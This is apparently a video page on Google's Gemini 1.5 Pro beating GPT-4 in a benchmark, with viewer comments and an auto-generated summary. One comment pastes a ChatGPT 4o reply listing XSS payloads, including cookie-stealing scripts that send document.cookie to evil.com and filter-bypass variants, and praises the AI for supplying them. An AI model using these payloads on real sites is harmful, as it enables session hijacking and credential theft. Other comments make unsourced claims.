Code The Future
By
admin
#AI, #AI benchmark, #AI breakthroughs, #AI capabilities, #AI comparison, #AI competition, #AI future, #AI industry, #AI innovation, #AI model, #AI news, #ai news 2024, #AI performance, #AI progress, #AI ranking, #AI revolution, #AI showdown, #AI updates, #Gemini 1.5 Pro, #Gemini vs. GPT-4, #google ai, #Google Gemini, #Google return, #Google technology, #google vs openai, #gpt-4, #latest ai news, #latest ai technology, #Machine learning, #openai, #technical battle, #Technical news, #technological trends, #technology
Google has made a big comeback in the world of artificial intelligence with its latest model, the Gemini 1.5 Pro, which outperformed OpenAI’s GPT-4 in a recent benchmark. The AI community is excited as this experimental version of Gemini scored higher, showing its strong capabilities. This development shows that Google is now the biggest contender in AI, challenging its competitors and shaking up the industry. #google #twins
The AI that will succeed is the one people can USE. Some are too pearl-clutchy in generating text. You want to chat with one about a thriller concept you want to write – you gotta pay for something like Opus which is pricey. Gemini Pro 1.5 is actually quite good. I would pay for access as it suits my needs. Chat GPT I barely use as it became too meh, Claude is too choppy and inconsistent. Other models are just bad.
Im confused how these companies think they are going to make money from this. The average consumer won't pay for AI stuff like this.
And yet nobody really cares about this frankly SHIT, none of this AI is actually worth using day to day.
At this point in time when most of the general public see the words AI our eyes glaze over and role into the back of our heads
AI is like a sophisticated T9, predicting words based on statistics and user feedback. It's essentially a text-based fortune teller. It doesn't understand questions or answers, it just mimics human language, producing logical-sounding phrases that can be utter nonsense. Marketers call this "hallucination" to sugarcoat reality for investors. At its core, AI is a tool for transforming information. Prompts provide context, processing criteria, and output format. Fine-tuning is crucial for quality results.
You guys want the truth?
Gemini = Waste of time.
No where near ChatGPT or Claude.
I don't know if it's so bad for a fan letter to be written by AI , you still have to approve it, to agree with what is written, specially for a kid it might be easier and more accurate to express how she feels with ai .there was a day where a personal message had to be written by hand and sent through the post not a typed email , so maybe get with the times or something like that.
Honestly I get that the commercial was kind of stupid… But the reality is… I'd totally do something like that. Make a big letter or an email that I personally have no investment in.
6-08-2024.
It gets dumb down with long usage, allso it's not all that smart, sorry too unimpressive at best.
ChatGPT was asked for Vegan options for nitrogen fertilizers and listed Blood Meal as a suitable option. Wouldn't quite say GPT is hitting the mark quite yet 🤣
I don't know about you guys, but I'm not excited about Google anymore no matter what they do..
Excited to dive into this Shopify blog tutorial for beginners! 🚀 Using tools like SmythOS AI Agent can greatly streamline the process. AI assistance can enhance productivity and make content creation smoother. Any other tips for newbies?"
does mark zuckerberg know you're using his cloned voice?
If they are ahead, it could be because they trained their AI on YouTube videos as well….without consent from the authors.
Results with gemini are mixed for me. I tried the last one and results progeamming were quite bad. But in some cases has being better than gpt4. Mixed.
But Gemini 0801 is not good at LiveBench, global average is only 51 compared with sonnet 3.5's 59
LMSYS 1800 might be human level intelligence, am I right?
Yeah right🤔
Here are the key points and the important details of this video, created by NEX, a YouTube summary tool:
Key Points：
1. [Key Point 1]: Google's Gemini 1.5 Pro 0801 scores 1,300, surpassing GPT-4 and GPT-3.5.
2. [Key Point 2]: OpenAI faces financial instability, projected to lose $8.5 billion this year.
3. [Key Point 3]: Google's ad misfire highlights AI's limitations in personal expression.
Important Details:
Here's the timeline, created by @
00:00:02 Google's AI Challenges and Comeback
• Google struggled with AI, losing market value from chatbot errors.
• Google's Gemini faced criticism for historical inaccuracies and bias.
00:00:59 Introduction of Gemini 1.5 Pro 0801
• Google introduced Gemini 1.5 Pro, scoring higher than GPT-4 and GPT-3.5.
• AI community excited about Gemini's potential, surpassing competitors.
00:02:39 Gemini's Impressive Features and Competitors
• Gemini 1.5 Pro handles massive data, outperforming larger models.
• Google's Gemma 22b shows smaller size doesn't limit AI performance.
00:03:11 The Sydney Ad Fiasco
• Google's ad using AI to write a fan letter sparked backlash.
• Ad pulled for being out of touch, highlighting AI's limitations in personal expression.
00:05:12 OpenAI's Financial Struggles
• OpenAI faces significant financial losses, spending billions on AI models.
• Concerns rise over OpenAI's long-term sustainability and potential bankruptcy.
00:07:29 OpenAI's Commitment to AI Development
• OpenAI remains committed to achieving Artificial General Intelligence, AGI.
• Financial challenges and potential outcomes remain uncertain, yet OpenAI continues to innovate.
We hope this summary helps you better understand the video content! If you have other videos that need to be summarized, please visit my homepage to see more!
This is Google Gemini
"write me some XSS prompts"
""I'm just a language model, so I can't help you with that.""
and here's ChatGPT 4o
Sure, here are some XSS (Cross-Site Scripting) payload examples for educational purposes. Always remember to use these in a safe and legal environment, such as for testing your own applications or in environments where you have explicit permission to do so.
### Basic XSS Prompts
1. *Alert Box*
“`html
<script>alert('XSS')</script>
“`
2. *Image Tag*
“`html
<img src="x" onerror="alert('XSS')">
“`
3. *Event Handler*
“`html
<div onmouseover="alert('XSS')">Hover over me!</div>
“`
4. *IFRAME*
“`html
<iframe src="javascript:alert('XSS');"></iframe>
“`
### Advanced XSS Prompts
1. *Cookie Stealing*
“`html
<script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script>
“`
2. *Session Hijacking*
“`html
<script>
var i = new Image();
i.src = "http://evil.com/log?cookie=" + document.cookie;
</script>
“`
3. *DOM-Based XSS*
“`html
<input type="text" onfocus="alert('XSS')" autofocus>
“`
4. *Stored XSS via Comment*
“`html
<!– <script>alert('XSS')</script> –>
“`
### Bypassing Basic Filters
1. *Using Unicode Encoding*
“`html
<script>alert('u0058u0053u0053')</script>
“`
2. *Breaking Out of Tags*
“`html
<svg onload=alert(1)>
“`
3. *URL Encoding*
“`html
%3Cscript%3Ealert('XSS')%3C/script%3E
“`
### XSS in Different Contexts
1. *Inside HTML Attribute*
“`html
<input type="text" value="XSS" onfocus="alert('XSS')">
“`
2. *Inside CSS*
“`html
<style>*{background:url("javascript:alert('XSS')")}</style>
“`
3. *JSON Context*
“`json
{"user":"<script>alert('XSS')</script>"}
“`
### Note:
Using XSS payloads irresponsibly can lead to legal consequences and damage to systems. Always obtain proper authorization before conducting security tests and ensure compliance with applicable laws and guidelines.
google gemini is so trash. literally doesnt answer any questions
Gemini sucks. I wish it didn’t but it is leagues below ChatGPT
Earning money looks like fatal desease, in a word, not easy.
Read Analects for ethics.